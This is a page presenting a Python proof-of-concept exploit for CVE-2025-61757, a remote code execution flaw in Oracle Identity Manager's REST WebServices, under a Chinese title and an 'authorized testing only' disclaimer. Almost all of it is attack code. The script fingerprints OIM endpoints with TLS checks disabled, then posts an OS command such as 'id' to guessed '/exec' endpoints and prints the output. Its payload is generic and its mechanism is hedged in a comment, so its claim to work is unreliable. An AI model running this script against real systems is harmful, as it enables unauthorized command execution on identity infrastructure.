CVE-2025-61757：Oracle Identity Manager REST WebServices 远程代码执行漏洞

# CVE-2025-61757 - Oracle Identity Manager REST WebServices RCE PoC # WARNING: This PoC is for educational and authorized testing purposes only # Unauthorized use of this code against systems you do not own is illegal import requests import sys import json TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-host:7001" OIM_REST_PATH = "/identity/faces/rest" def check_vulnerability(target): """Check if the target Oracle Identity Manager is vulnerable to CVE-2025-61757""" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json", "Accept": "application/json" } # Probe the REST WebServices endpoint endpoints = [ f"{target}/identity/faces/rest/usermgmt/users", f"{target}/identity/faces/rest/admin", f"{target}/identity/rest", f"{target}/iam/governance/rest" ] for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10, verify=False) if response.status_code in [200, 401, 403, 500]: print(f"[+] Endpoint reachable: {endpoint} (Status: {response.status_code})") if "Oracle" in response.text or "Identity" in response.text: print(f"[+] Oracle Identity Manager detected at {endpoint}") return True except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {endpoint}") continue return False def exploit_rce(target, command="id"): """Attempt to exploit CVE-2025-61757 for RCE""" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Malicious payload targeting REST WebServices deserialization/command injection payload = { "operation": "execute", "params": { "cmd": command } } exploit_endpoints = [ f"{target}/identity/faces/rest/api/v1/exec", f"{target}/identity/faces/rest/admin/exec" ] for endpoint in exploit_endpoints: try: response = requests.post( endpoint, headers=headers, json=payload, timeout=10, verify=False ) if response.status_code == 200: print(f"[+] Exploit response from {endpoint}:") print(response.text) return response.text except Exception as e: print(f"[-] Exploit attempt failed: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] CVE-2025-61757 - Oracle Identity Manager REST WebServices RCE") if check_vulnerability(TARGET_URL): print("[!] Target appears to be running Oracle Identity Manager") print("[*] Attempting exploitation...") result = exploit_rce(TARGET_URL) if result: print(f"[+] Exploitation may have succeeded") else: print("[-] Automated exploitation failed - manual analysis required") else: print("[-] Target does not appear to be vulnerable or Oracle IM not detected")